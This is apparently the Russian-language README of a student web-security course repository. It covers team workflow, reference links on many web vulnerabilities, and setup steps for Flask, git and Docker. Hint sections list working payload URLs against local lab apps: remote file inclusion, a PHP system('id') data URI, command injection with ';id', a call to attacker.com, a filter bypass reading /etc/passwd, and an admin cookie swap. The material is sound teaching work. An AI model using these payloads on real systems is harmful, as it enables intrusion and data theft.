- Python3 + Flask (uwsgi-nginx-flask-docker)
- Docker
- Git
- Firefox
- Burp Suite
- некоторые зависимости для python
Шаги:
- Регистрируемся на github.com, если нет аккаунта
- Капитан команды делает fork репозитория к себе (кнопка
fork
вверху проекта) - Капитан команды добавляет в collaborators проекта остальных участников (
страница проекта
-Settings
-Collaborators
-Search by username
) - Теперь репозиторий команды может редактировать любой учатник команды со своего аккаунта
- Переходим (создаем) в директорию с названием уязвимости (если создаем, то используем lowercase и
_
вместо пробелов, напримерjwt_insecure
) - Копируем шаблон
../example/README.md
в свою рабочую директорию - Используем директорию, редактируем
README.md
- Ресерчим!
- Изменения заливаем через коммиты
Запрещается:
- изменять файлы в чужой рабочей директории (чужая уязвимость)
- сохранять нетекстовые файлы (исключение - картинки)
- лучше не переводить на русский специфичные определения
Что хочется увидеть в итоге:
- Полный ресерч по пунктам в файле
README.md
в директории с атакой/уязвимостью - Улучшение уязвимого приложения: расширить векторы возможной атаки; показать другие возможности эксплуатации; улучшить внешний вид уязвимого приложения
- Добавить к уязвимому приложению безопасный вариант функционала. Т.е. новый метод, где атака/уязвимость не будет проявляться
- Текстовый редактор, где удобно работать с Markdown (в принципе, можно редактировать средствами Github)
- Firefox (можно и другой, но его удобнее настраивать)
- Burp Suite (ссылка)
- Python3 + IDE (советую Pycharm)
- Git
- Docker
Если возникли проблемы с установкой желательного ПО - можно попробовать использовать VirtualBox (для виртуальной машины лучше ставить Ubuntu)
Если возникли проблемы только с Docker - подходите, разберемся как быть:)
Ссылки:
- Интерактивный урок: https://www.hacksplaining.com/exercises/open-redirects
- Описание, детектирование, пейлоады: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20redirect
- Open Redirect от OWASP: https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
- Пример репорта баги: https://hackerone.com/reports/387007 и Google Dork
site:hackerone.com open redirect
- Пейлоады для баг-баунти: https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/open-redirect.md
- Статья с дополнительными фишками (обходы фильтров): https://medium.com/bugbountywriteup/cvv-2-open-redirect-213555765607
- Дополнительная информация: https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Karbutov_CRLF_PDF.pdf
Ссылки:
- Расширенное описание: https://prakharprasad.com/crlf-injection-http-response-splitting-explained/
- Описание, основная инфа, пейлоады: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20injection
- XSS через CRLF на hackerone: https://vulners.com/hackerone/H1:192749
- Пример репорта баги: Google Dork
site:hackerone.com crlf
- Шпаргалка от EdOverflow: https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
- CRLF to XSS: https://habr.com/ru/company/pt/blog/247709/
- Дополнительная информация: https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Karbutov_CRLF_PDF.pdf
Ссылки:
- Описание от DSec: https://dsec.ru/wp-content/uploads/2018/09/techtrain_ssrf.pdf
- Описание, пейлоады, техники: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SSRF%20injection/README.md
- Очень дорогой SSRF-баг на hackerone: https://hackerone.com/reports/341876
- A new Era of SSRF by Orange Tsai: https://www.blackhat.com/docs/asia-18/asia-18-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
- Статья с описанием от albinowax: https://portswigger.net/blog/server-side-template-injection
- Ресерч, пэйлоады и др: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20injections
- Статья с описанием от defcon.ru: https://defcon.ru/web-security/3840/
- Статьи с описанием SSTI во Flask: https://nvisium.com/blog/2015/12/07/injecting-flask.html https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii.html
- Инструмент для автоматической эксплуатации: https://github.com/epinna/tplmap
- Интерактивный урок: https://www.hacksplaining.com/exercises/csrf
- Варианты защиты: https://habr.com/ru/post/318748/
- Описание и защита: https://learn.javascript.ru/csrf
- Обход при эксплуатации при типе данных JSON: https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/ и https://blog.appsecco.com/exploiting-csrf-on-json-endpoints-with-flash-and-redirects-681d4ad6b31b
- Описание, обход, эксплуатация: https://2017.zeronights.org/wp-content/uploads/materials/ZN17_MikhailEgorov%20_Neat_tricks_to_bypass_CSRF_protection.pdf
- Описание, защита - https://2017.zeronights.org/wp-content/uploads/materials/csrf_cors_etc.pdf
- Описание проблем технологии: https://www.slideshare.net/snyff/jwt-insecurity
- Потестировать токены: https://jwt.io/
- Шпаргалка с чек-листом для тестирования: https://assets.pentesterlab.com/jwt_security_cheatsheet/jwt_security_cheatsheet.pdf
- Описание, информация: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token
- https://xakep.ru/2009/09/17/49508/
- https://xakep.ru/2011/07/03/55787/
- https://github.com/swisskyrepo/PayloadsAllTheThings/
- PHP_LFI_rfc1867 - PHP LFI to arbitratry code execution via rfc1867 file upload temporary files
- https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752.html
- Hints
- http://127.0.0.1:8808/?page=help.php
- http://127.0.0.1:8808/?page=https://pastebin.com/raw/RmeewV7i
- http://127.0.0.1:8808/?page=data:,%3C?php%20system(%27id%27);%20?%3E#
- http://127.0.0.1:8808/index.php?page=php://filter/convert.base64-encode/resource=index.php
- http://127.0.0.1:8808/index.php?page=%68ttps://pastebin.com/raw/RmeewV7i
- https://www.owasp.org/index.php/Command_Injection
- https://hackware.ru/?p=1133
- Hints:
- http://127.0.0.1:1337/?curl=https://google.com/;id
- Blind
- http://127.0.0.1:1337/blind.php?curl=127.0.0.1;%20sleep%202
- Semi-blind
- http://127.0.0.1:1337/semi_blind.php?curl=127.0.0.1%3B+curl+https://attacker.com/
- Space Bypass
- http://127.0.0.1:1337/filter.php?curl=127.0.0.1%3Bcat%24IFS%249%2Fetc%2Fpasswd
- https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/
- https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004)
- Hints
- Register like
- http://127.0.0.1:1338/?user=admin&pass=admin&type=reg
- Login like
- http://127.0.0.1:1338/?user=admin&pass=admin&type=log
- Register new user
- http://127.0.0.1:1338/?user=test&pass=test&type=reg
- Login like
- http://127.0.0.1:1338/?user=test&pass=test&type=log
- Change cookie (cook) to YWRtaW4=
- Refresh page
- http://127.0.0.1:1338/profile.php
- Описание, таблицы, примеры багов: https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf
- Информация об эксплуатации: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/PHP%20juggling%20type
- Ресерч десериализация в Java: https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf
- Шпаргалка от OWASP: https://www.owasp.org/index.php/Deserialization_Cheat_Sheet#Guidance_on_Deserializing_Objects_Safely
- Шпаргалка от GrrrDog: https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
- Уязвимые приложения (Python, nodejs, Java (native binary and jackson)): https://github.com/GrrrDog/ZeroNights-WebVillage-2017
- Ресерч по десериализации в Ruby: https://lab.wallarm.com/exploring-de-serialization-issues-in-ruby-projects-801e0a3e5a0a
Для написания информации по ресерчу используем Markdown-разметку. Что понадобится:
- шпаргалка по синтаксису есть тут
- лучше использовать удобный текстовый редактор (я использую Sublime Text)
- лучше в текстовом редакторе поставить плагин для предпроссмотра Markdown-файлов (я использую этот)
Будем использовать Python + Flask.
Установка окружения:
- Windows http://timmyreilly.azurewebsites.net/python-pip-virtualenv-installation-on-windows/
- Linux https://itsfoss.com/python-setup-linux/
Создать виртуальное окружение (можно без него, тогда надо использовать pip3
):
cd <directory>
virualenv
Появится директория venv
со структурой:
├── bin
│ ├── activate
│ ├── activate.csh
│ ├── activate.fish
│ ├── easy_install
│ ├── easy_install-3.6
│ ├── flask
│ ├── pip
│ ├── pip3
│ ├── pip3.6
│ ├── python
│ ├── python3
│ └── python3.6
├── include
├── lib
│ └── python3.6
├── lib64 -> lib
├── pip-selfcheck.json
└── pyvenv.cfg
Используем бинарники отсюда: venv/bin/
Установить Flask:
venv/bin/pip3 install flask
Указание авторства:
git config --global user.name "<your_nickname>"
git config --global user.email "<your_email>"
Клонирование репозитория:
git clone https://github.com/act1on3/shift2019.git
Перейти на новую ветку:
git checkout -b <branch_name>
git push --set-upstream origin <branch_name>
Обновить локальный репозиторий из удаленного:
git pull
Добавление измененных файлов и коммит своих изменений:
git status
git add <filename>
git commit
- пишете описание коммита
Отправка локальных изменений в репозиторий:
git push
Установка:
- Windows https://docs.docker.com/docker-for-windows/install/
- Ubuntu https://docs.docker.com/install/linux/docker-ce/ubuntu/
- Debian https://docs.docker.com/install/linux/docker-ce/debian/
- MacOS https://docs.docker.com/docker-for-mac/install/
Создать образ:
cd open_redirect
docker build -t open_redirect .
docker run -p 8080:80 open_redirect
или добавить ключ-d
для отправки в daemon-режим
Закрыть все контейнеры:
docker rm -f `docker ps -a -q`
Удалить образы:
docker images
docker image rm <image_name>
Удалить все промежуточные образы (создаются во время билда):
docker rmi `docker images -f "dangling=true" -q`